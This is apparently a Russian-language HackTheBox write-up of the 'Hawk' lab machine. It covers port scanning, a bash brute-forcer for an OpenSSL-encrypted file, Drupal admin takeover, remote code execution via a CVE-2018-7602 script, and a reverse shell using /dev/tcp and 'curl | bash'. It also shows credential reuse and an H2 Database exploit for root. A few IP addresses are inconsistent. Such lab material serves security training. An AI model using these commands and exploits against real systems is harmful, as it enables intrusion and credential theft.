> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/linux-medium/hawk-hackthebox-writeup.md).

# Разбор Hawk на HackTheBox

{% embed url="<https://app.hackthebox.com/machines/146>" %}

{% hint style="warning" %}
**Навыки:**

* Грубый перебор и расшифровка шифра OpenSSL
* Перечисление/эксплуатация Drupal
* Эксплуатация базы данных H2
  {% endhint %}

## Разведка

**Настройка рабочей среды:**

Настройте рабочую среду, создав три папки для хранения важного содержимого, эксплойтов и результатов разведки Nmap.

<figure><img src="/files/62c32387c982b9e23f7603c4ebad7ef67a66e4ef" alt="" width="563"><figcaption></figcaption></figure>

**Проверка подключения VPN**

Проверка VPN-соединения для обеспечения стабильной связи с целевой машиной

<figure><img src="/files/3f41ddb36fc11dded0c3676a83d384ffb979ea83" alt="" width="563"><figcaption></figcaption></figure>

**Обнаружение открытых портов с помощью Nmap:**

Поиск открытых портов и экспорт в файл "allPorts" в каталоге Nmap.

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.102 -oG allPorts
```

<figure><img src="/files/98dd78ea7328601bc984860e5839507b04460a53" alt=""><figcaption></figcaption></figure>

**Анализ открытых портов с помощью extractPorts:**

Использование функции extractPorts для краткого отображения открытых портов и копирования их в буфер обмена (21,22,80,5435,9092)

<figure><img src="/files/faffc70aa44ce1674379c2fc7a2c694cc4fdd767" alt=""><figcaption></figcaption></figure>

#### Сканирование версий портов с Nmap:

Используйте Nmap для сканирования версий сервисов и сохраните вывод в файл "targeted":

```bash
nmap -sCV -p21,22,80,5435,9092 10.10.10.102 -oN targeted
```

<figure><img src="/files/171fcfbbfbdc1dbb738c74d20846b95838453f6f" alt=""><figcaption></figcaption></figure>

### Порт 21 — FTP

Мы подключаемся как **anonymous** пользователь и обнаруживаем скрытый файл под названием `.drupal.txt.enc`.

<figure><img src="/files/4a8d78aa89195bea0b96852979dc024a751ee63f" alt=""><figcaption></figcaption></figure>

## Грубый перебор — Openssh (.enc)

> У **.enc** расширение обычно указывает на **закодированный** файл (зашифрован). Этот термин используется для обозначения того, что содержимое файла защищено алгоритмом шифрования, делая данные нечитаемыми без соответствующего ключа или пароля. Такие файлы могут содержать любые типы данных (текст, изображения, видео и т. д.) и обычно используются для защиты конфиденциальной информации.

У `.enc` файл зашифрован алгоритмом **AES-256-CBC** и закодирован в **Base64**.

<figure><img src="/files/a18b22e85ae410b7857c184cc41db03751a783fa" alt=""><figcaption></figcaption></figure>

**Шаг 1: Декодирование Base64**

```bash
cat .drupal.txt.enc | base64 -d > file_decoded.enc
```

<figure><img src="/files/593da0758491440fae8680323b5d25100a4ccc32" alt=""><figcaption></figcaption></figure>

**Шаг 2: Расшифровка с помощью OpenSSL**

Чтобы расшифровать файл, нам нужен пароль. Вот команда для попытки ручной расшифровки:

```bash
openssl enc -aes-256-cbc -d -in .drupal.txt.enc -out .drupal.txt -base64
```

<figure><img src="/files/c32c2a2a374c1a688a1f9e8f3373806cb044af26" alt=""><figcaption></figcaption></figure>

**Шаг 3: Скрипт автоматизации для перебора**

Мы используем Bash-скрипт для проверки списка паролей (например, `rockyou.txt`).

```bash
#!/bin/bash

function ctrl_c(){
    echo -e "/n/n[!] Exiting.../n"
    tput cnorm; exit 1
}

# Ctrl+C
trap ctrl_c INT

tput civis
for password in $(cat /usr/share/wordlists/rockyou.txt); do
    openssl aes-256-cbc -d -in drupal.enc -out drupal.decrypted -pass pass:$password &>/dev/null

    if [ "$(echo $?)" == "0" ]; then
        echo -e "/n[+] The password is : $password/n"
        exit 0
    fi
done; tput cnorm
```

**Результат:**

Найденный пароль:  **друзья**

<figure><img src="/files/e473cd0e6867fdf990acec4424c78c7de39bb85d" alt=""><figcaption></figcaption></figure>

#### **Расшифрованное сообщение**

Расшифрованный файл содержит новый пароль:

```bash
openssl enc -aes-256-cbc -d -in .drupal.txt.enc -out .drupal.txt -base64

друзья
```

* **PencilKeyboardScanner123**

<figure><img src="/files/d10f7c943ac5d0e85c08392566e6b1bb2b13a9eb" alt=""><figcaption></figcaption></figure>

## Порт 80 - HTTP

На порту 80 размещается CMS Drupal 7.

```bash
whatweb 10.10.10.102
```

<figure><img src="/files/20fdd62de6a6695701d9ccc69aa62c7a80e3e101" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/d4cc6443b9aa12812c2108efe079ade5f067724b" alt=""><figcaption></figcaption></figure>

**Аутентификация — доступ по паролю**

Попробуйте подключиться с помощью `PencilKeyboardScanner123` пароля для пользователя `admin` и аутентификация проходит успешно.

<figure><img src="/files/0c6ea289637c49d75ea238e70ad11de5bd77affe" alt=""><figcaption></figcaption></figure>

### Обратная оболочка — Drupal 7

Мы будем использовать следующий скрипт для выполнения команд на сервере Drupal версии ниже 7 (CVE-2018-7602):

{% embed url="<https://github.com/pimps/CVE-2018-7600/blob/master/drupa7-CVE-2018-7602.py>" %}

```bash
python3 drupa7-CVE-2018-7602.py admin PencilKeyboardScanner123 http://10.10.10.102 -c "id" -f "passthru"
```

Эта команда позволяет выполнить `id` команду на сервере.

<figure><img src="/files/cb19239fee2f61956c95d95fab239a1dceb45a52" alt=""><figcaption></figcaption></figure>

**Доступ к серверу**/ Чтобы установить доступ к серверу, нам нужно прослушивать порт 443 с помощью `nc`

```bash
nc -nvlp 443
```

Затем вы создаёте `index.html` файл со следующим содержимым, чтобы установить обратную оболочку:

```bash
#!/bin/bash 
bash -i >& /dev/tcp/10.10.14.30/443 0>&1
```

**Веб-сервер и выполнение команд**/ Запускает HTTP-сервер с помощью Python:

```bash
python3 -m http.server 80 
```

Затем отправьте следующую команду для загрузки и запуска скрипта:

```bash
curl http://10.10.14.3 | bash
```

```bash
python3 drupa7-CVE-2018-7602.py admin PencilKeyboardScanner123 http://10.10.10.102 -c "curl http://10.10.14.30 | bash" -f "passthru"
```

<div data-full-width="true"><figure><img src="/files/8c0775d5651a6378455366fd99b1c3547e0db100" alt=""><figcaption></figcaption></figure></div>

**Стабилизация терминала** Для управления терминалом используются следующие команды:

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### Флаг user.txt :)

<figure><img src="/files/3b8e7c6d1ca6cf73c41d28bf38cf96d7ac3f0309" alt="" width="563"><figcaption></figcaption></figure>

## **Повышение привилегий**

Исследуя веб-каталог в `/var/www/html`, можно увидеть несколько конфигурационных файлов. Среди них выделяется интересный файл:

<figure><img src="/files/5f99f66bcef3b4491c11faa362bbf6894baa65d0" alt=""><figcaption></figcaption></figure>

**Путь:** `sites/default/settings.php`

При изучении этого файла мы находим конфиденциальную информацию:

* Имя пользователя: drupal
* Пароль: drupal4hawk

<figure><img src="/files/0c75cd1da9bfbb025ff37d63cd6fe6f17a35c187" alt=""><figcaption></figcaption></figure>

Эти учетные данные позволяют подключиться к базе данных MySQL. Для этого используются следующие команды:

```bash
mysql -u drupal -p
```

<figure><img src="/files/3ab9947850021e3589b983e8018108307196e1fa" alt=""><figcaption></figcaption></figure>

После ввода пароля выводятся все доступные базы данных, а затем выбирается база данных, связанная с Drupal:

```sql
show databases;
use drupal;
```

Оказавшись в базе данных, мы изучаем содержимое `users` таблицы, чтобы найти интересную информацию:

```
SELECT * FROM users;
```

В этой таблице мы находим хешированный пароль, связанный с пользователем:

<figure><img src="/files/3c8c73bc7431598f2f3de109f275f1963efec1ef" alt=""><figcaption></figcaption></figure>

* `$S$DFw163ixD00W55hdCqtvCB13XOTLhZ0pt0FVpFy1Ntmdp5EAOX08`

### Грубый перебор John — хеш пароля

Используйте John для взлома хеша пароля

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

Однако в данном случае совпадение не было найдено в `rockyou.txt` списке паролей.

### Выход из Python в обычный Bash

Мы получили доступ к серверу как `daniel` пользователь с паролем, связанным с базой данных (в этом примере, **drupal4hawk**). Вот команда для подключения:

```bash
ssh daniel@10.10.10.182
```

Пароль: **drupal4hawk**

После подключения мы сразу попадаем в интерпретатор Python.

<figure><img src="/files/69694696c85883b4204b9340410a3b4bc059b4d3" alt=""><figcaption></figcaption></figure>

Чтобы вернуться к обычной оболочке Bash, мы можем использовать `os` модуль для выполнения команды Bash. Вот шаги:

1. Импортируйте модуль `os` :

   ```python
   import os
   ```
2. Запустите оболочку Bash:

   ```python
   os.system('/bin/bash')
   ```

Это позволит вам получить доступ к обычной оболочке Bash из интерпретатора Python.

<figure><img src="/files/650962b37c5606cd6ca2cb3dcd2d09b4418c8309" alt=""><figcaption></figcaption></figure>

## Эксплуатация базы данных H2

/*/* Анализ открытых портов/*/*

Для начала мы перечисляем открытые порты внутри сети с помощью следующей команды:

```bash
netstat -tuln
```

Мы определяем, что порт **8082** открыт и обслуживает сервис. Анализируя его, мы обнаруживаем, что это CMS базы данных: **H2 Database**.

<figure><img src="/files/dda0ee1acd3c0d35533fa13f5b0d387878f2cc64" alt=""><figcaption></figcaption></figure>

Чтобы получить доступ к этому сервису с нашей машины, мы выполняем перенаправление порта с помощью **SSH**, перенаправляя внутренний порт 8082 на порт 8082 нашей локальной машины:

<figure><img src="/files/80ad88b3389c1279cccec7620dcec40fb60332c1" alt=""><figcaption></figcaption></figure>

### Перенаправление порта

Чтобы получить доступ к этому сервису с нашей машины, мы выполняем перенаправление порта с помощью **SSH**, перенаправляя внутренний порт 8082 на порт 8082 нашей локальной машины:

```bash
ssh -L 8082:127.0.0.1:8082 daniel@10.10.10.102
```

### База данных H2:

<figure><img src="/files/045520817ceb914a0035347fed2d1ff0ce0246d2" alt=""><figcaption></figcaption></figure>

Мы используем **searchsploit** для поиска известных уязвимостей, связанных с H2 Database:

<figure><img src="/files/1171b2b07e62d76c520b9bc8b75790b6a620fb82" alt=""><figcaption></figcaption></figure>

```
searchsploit -m java/webapps/45506.py
```

Мы находим интересную возможность, позволяющую удалённое выполнение команд:

```bash
python3 45506.py -H 127.0.0.1:8082
```

<figure><img src="/files/9806eb8aea63ae4ce781e496310239d4a89d7c01" alt=""><figcaption></figcaption></figure>

### Флаг root.txt :)

Скрипт позволяет нам выполнять команды на целевой машине. Исследуя систему, мы получаем **флаг root.txt**.

<figure><img src="/files/70ed670f2c3e81056f39d7609a543f4ae1b43296" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/aa611d0bddf0dbb29d12124f7c196a1abe7dd2c5" alt="" width="488"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/linux-medium/hawk-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
